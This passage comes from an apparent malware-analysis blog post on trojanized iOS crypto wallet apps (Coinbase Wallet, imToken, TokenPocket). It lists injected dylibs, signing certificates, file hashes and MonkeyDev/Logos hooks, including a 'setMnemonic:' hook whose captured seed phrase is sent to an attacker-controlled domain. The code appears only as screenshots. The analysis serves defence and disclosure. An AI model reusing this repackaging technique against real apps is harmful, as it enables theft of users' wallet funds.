type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">backdoor code can be seen via class-dump of</figcaption></figure></div><p>Logos was also used with multiple <strong>MSHookMessageEx()</strong> hooks at multiple ViewControllers of the app, calling back specific backdoor code methods each time:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!NjSZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbb2783d-f2ed-4bc4-9dec-fe3853ec5e2e_1000x727.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!NjSZ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbb2783d-f2ed-4bc4-9dec-fe3853ec5e2e_1000x727.png 424w, https://substackcdn.com/image/fetch/$s_!NjSZ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbb2783d-f2ed-4bc4-9dec-fe3853ec5e2e_1000x727.png 848w, https://substackcdn.com/image/fetch/$s_!NjSZ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbb2783d-f2ed-4bc4-9dec-fe3853ec5e2e_1000x727.png 1272w, https://substackcdn.com/image/fetch/$s_!NjSZ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbb2783d-f2ed-4bc4-9dec-fe3853ec5e2e_1000x727.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!NjSZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbb2783d-f2ed-4bc4-9dec-fe3853ec5e2e_1000x727.png" width="1000" height="727" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fbb2783d-f2ed-4bc4-9dec-fe3853ec5e2e_1000x727.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:727,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!NjSZ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbb2783d-f2ed-4bc4-9dec-fe3853ec5e2e_1000x727.png 424w, https://substackcdn.com/image/fetch/$s_!NjSZ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbb2783d-f2ed-4bc4-9dec-fe3853ec5e2e_1000x727.png 848w, https://substackcdn.com/image/fetch/$s_!NjSZ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbb2783d-f2ed-4bc4-9dec-fe3853ec5e2e_1000x727.png 1272w, https://substackcdn.com/image/fetch/$s_!NjSZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbb2783d-f2ed-4bc4-9dec-fe3853ec5e2e_1000x727.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">coinbase Wallet iOS app with logos tweaks</figcaption></figure></div><h4>imToken Wallet iOS app:</h4><p>SHA-256 of the .IPA analyzed: 1e232c74082e4d72c86e44f1399643ffb6f7836805c9ba4b4235fedbeeb8bdca</p><p>similar to the Coinbase iOS wallet, one .dylib <strong>libimtokenhookDylib.dylib </strong>was injected:</p><pre><code>@executable_path/Frameworks/libimtokenhookDylib.dylib (compatibility version 0.0.0, current version 0.0.0)
</code></pre><p>This .dylib is signed with Developper ID certificate : <strong>Sjdbfbd Jdjffb</strong> (9J3Q9W2QG2) and Team-ID <strong>9J3Q9W2QG2</strong></p><p>We also found reference to the same macOS username &#8220;<strong>lanyu</strong>&#8221; and references to the MonkeyDev framework:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!YDVY!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44e28dc1-89b6-450f-b3ee-a59c856ede82_1000x173.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!YDVY!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44e28dc1-89b6-450f-b3ee-a59c856ede82_1000x173.png 424w, https://substackcdn.com/image/fetch/$s_!YDVY!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44e28dc1-89b6-450f-b3ee-a59c856ede82_1000x173.png 848w, https://substackcdn.com/image/fetch/$s_!YDVY!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44e28dc1-89b6-450f-b3ee-a59c856ede82_1000x173.png 1272w, https://substackcdn.com/image/fetch/$s_!YDVY!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44e28dc1-89b6-450f-b3ee-a59c856ede82_1000x173.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!YDVY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44e28dc1-89b6-450f-b3ee-a59c856ede82_1000x173.png" width="1000" height="173" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/44e28dc1-89b6-450f-b3ee-a59c856ede82_1000x173.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:173,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!YDVY!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44e28dc1-89b6-450f-b3ee-a59c856ede82_1000x173.png 424w, https://substackcdn.com/image/fetch/$s_!YDVY!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44e28dc1-89b6-450f-b3ee-a59c856ede82_1000x173.png 848w, https://substackcdn.com/image/fetch/$s_!YDVY!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44e28dc1-89b6-450f-b3ee-a59c856ede82_1000x173.png 1272w, https://substackcdn.com/image/fetch/$s_!YDVY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44e28dc1-89b6-450f-b3ee-a59c856ede82_1000x173.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>The backdoor was hidden and encrypted same as in the Metamask iOS wallet and I found the exact same backdoor React Native bundle that was loaded. We noticed additional hooks via <strong>MSHookMessageEx()</strong> were added to the <strong>RCTJavaScriptLoader, </strong>ensuring eventually the loading of the backdoor React Native bundle:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!7032!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c084254-9dd0-486d-ac4b-dee029a7961c_1000x441.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!7032!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c084254-9dd0-486d-ac4b-dee029a7961c_1000x441.png 424w, https://substackcdn.com/image/fetch/$s_!7032!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c084254-9dd0-486d-ac4b-dee029a7961c_1000x441.png 848w, https://substackcdn.com/image/fetch/$s_!7032!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c084254-9dd0-486d-ac4b-dee029a7961c_1000x441.png 1272w, https://substackcdn.com/image/fetch/$s_!7032!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c084254-9dd0-486d-ac4b-dee029a7961c_1000x441.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!7032!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c084254-9dd0-486d-ac4b-dee029a7961c_1000x441.png" width="1000" height="441" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1c084254-9dd0-486d-ac4b-dee029a7961c_1000x441.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:441,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!7032!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c084254-9dd0-486d-ac4b-dee029a7961c_1000x441.png 424w, https://substackcdn.com/image/fetch/$s_!7032!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c084254-9dd0-486d-ac4b-dee029a7961c_1000x441.png 848w, https://substackcdn.com/image/fetch/$s_!7032!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c084254-9dd0-486d-ac4b-dee029a7961c_1000x441.png 1272w, https://substackcdn.com/image/fetch/$s_!7032!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c084254-9dd0-486d-ac4b-dee029a7961c_1000x441.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>So it seems the Author didn&#8217;t do anything specific for imToken Wallet iOS app.</p><h4>TokenPocket iOS Wallet:</h4><p>SHA-256 of the .IPA file analyzed : 46002ac5a0caaa2617371bddbdbc7eca74cd9cb48878da0d3218a78d5be7a53a</p><p>a single .dylib <strong>libpocketDylib.dylib</strong> was injected:</p><pre><code>@executable_path/Frameworks/libpocketDylib.dylib (compatibility version 0.0.0, current version 0.0.0)</code></pre><p>This .dylib is signed with Developper ID certificate : <strong>hang Bai (GNY64NUGXC)</strong></p><pre><code>Authority=iPhone Distribution: hang Bai (GNY64NUGXC)
Authority=Apple Worldwide Developer Relations Certification Authority
Authority=Apple Root CA
Signed Time=Mar 3, 2022 at 5:06:06 PM
Info.plist=not bound
TeamIdentifier=GNY64NUGXC</code></pre><p>A new author macOS username leaked named &#8220;<strong>trader</strong>&#8221;, we also confirmed the usage of the MonkeyDev Framework:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!T-tG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcbc212b5-70d3-4784-be9d-d831707545a5_1000x209.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!T-tG!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcbc212b5-70d3-4784-be9d-d831707545a5_1000x209.png 424w, https://substackcdn.com/image/fetch/$s_!T-tG!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcbc212b5-70d3-4784-be9d-d831707545a5_1000x209.png 848w, https://substackcdn.com/image/fetch/$s_!T-tG!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcbc212b5-70d3-4784-be9d-d831707545a5_1000x209.png 1272w, https://substackcdn.com/image/fetch/$s_!T-tG!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcbc212b5-70d3-4784-be9d-d831707545a5_1000x209.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!T-tG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcbc212b5-70d3-4784-be9d-d831707545a5_1000x209.png" width="1000" height="209" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/cbc212b5-70d3-4784-be9d-d831707545a5_1000x209.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:209,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!T-tG!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcbc212b5-70d3-4784-be9d-d831707545a5_1000x209.png 424w, https://substackcdn.com/image/fetch/$s_!T-tG!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcbc212b5-70d3-4784-be9d-d831707545a5_1000x209.png 848w, https://substackcdn.com/image/fetch/$s_!T-tG!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcbc212b5-70d3-4784-be9d-d831707545a5_1000x209.png 1272w, https://substackcdn.com/image/fetch/$s_!T-tG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcbc212b5-70d3-4784-be9d-d831707545a5_1000x209.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Logos tweaks are used, in particular hooks to &#8220;<strong>setMnemonic:</strong>&#8221; were added:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GxO0!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e7e3c05-8a9e-48fd-ab1e-234722e8354d_1000x429.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GxO0!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e7e3c05-8a9e-48fd-ab1e-234722e8354d_1000x429.png 424w, https://substackcdn.com/image/fetch/$s_!GxO0!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e7e3c05-8a9e-48fd-ab1e-234722e8354d_1000x429.png 848w, https://substackcdn.com/image/fetch/$s_!GxO0!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e7e3c05-8a9e-48fd-ab1e-234722e8354d_1000x429.png 1272w, https://substackcdn.com/image/fetch/$s_!GxO0!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e7e3c05-8a9e-48fd-ab1e-234722e8354d_1000x429.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!GxO0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e7e3c05-8a9e-48fd-ab1e-234722e8354d_1000x429.png" width="1000" height="429" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5e7e3c05-8a9e-48fd-ab1e-234722e8354d_1000x429.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:429,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!GxO0!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e7e3c05-8a9e-48fd-ab1e-234722e8354d_1000x429.png 424w, https://substackcdn.com/image/fetch/$s_!GxO0!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e7e3c05-8a9e-48fd-ab1e-234722e8354d_1000x429.png 848w, https://substackcdn.com/image/fetch/$s_!GxO0!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e7e3c05-8a9e-48fd-ab1e-234722e8354d_1000x429.png 1272w, https://substackcdn.com/image/fetch/$s_!GxO0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e7e3c05-8a9e-48fd-ab1e-234722e8354d_1000x429.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The captured seed phrase is sent to a domain controlled by the attacker :</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!qTfB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17ad3fc1-b0d3-4865-be1d-f8a7b1088f50_1000x413.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!qTfB!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17ad3fc1-b0d3-4865-be1d-f8a7b1088f50_1000x413.png 424w, https://substackcdn.com/image/fetch/$s_!qTfB!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17ad3fc1-b0d3-4865-be1d-f8a7b1088f50_1000x413.png 848w, https://substackcdn.com/image/fetch/$s_!qTfB!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17ad3fc1-b0d3-4865-be1d-f8a7b1088f50_1000x413.png 1272w, https://substackcdn.com/image/fetch/$s_!qTfB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17ad3fc1-b0d3-4865-be1d-f8a7b1088f50_1000x413.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!qTfB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17ad3fc1-b0d3-4865-be1d-f8a7b1088f50_1000x413.png" width="1000" height="413" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/17ad3fc1-b0d3-4865-be1d-f8a7b1088f50_1000x413.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:413,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!qTfB!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17ad3fc1-b0d3-4865-be1d-f8a7b1088f50_1000x413.png 424w, https://substackcdn.com/image/fetch/$s_!qTfB!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17ad3fc1-b0d3-4865-be1d-f8a7b1088f50_1000x413.png 848w, https://substackcdn.com/image/fetch/$s_!qTfB!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17ad3fc1-b0d3-4865-be1d-f8a7b1088f50_1000x413.png 1272w, https://substackcdn.com/image/fetch/$s_!qTfB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17ad3fc1-b0d3-4865-be1d-f8a7b1088f50_1000x413.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 